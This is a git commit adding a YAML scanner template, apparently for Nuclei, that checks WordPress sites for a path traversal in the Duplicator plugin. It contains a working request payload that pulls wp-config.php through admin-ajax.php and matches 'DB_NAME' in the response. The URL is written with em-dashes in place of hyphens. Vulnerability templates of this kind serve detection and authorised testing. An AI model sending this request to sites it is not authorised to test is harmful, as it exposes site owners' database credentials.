Create WordPress duplicator Path Traversal.yaml

2020-04-08 17:43:25 +05:30 · 2020-04-08 17:43:25 +05:30 · fb3b4ed44d
parent bd7a74ae84
commit fb3b4ed44d
1 changed files with 16 additions and 0 deletions
--- a/vulnerabilities/WordPress
+++ b/vulnerabilities/WordPress
@ -0,0 +1,16 @@
+id: WordPress duplicator Path Traversal
+
+info:
+  name: WordPress duplicator Path Traversal
+  author: madrobot
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp—admin/admin—ajax.php?action=duplicator_download&file=/../wp-config.php"
+    matchers:
+      - type: regex
+        regex:
+            - "DB_NAME"
+        part: body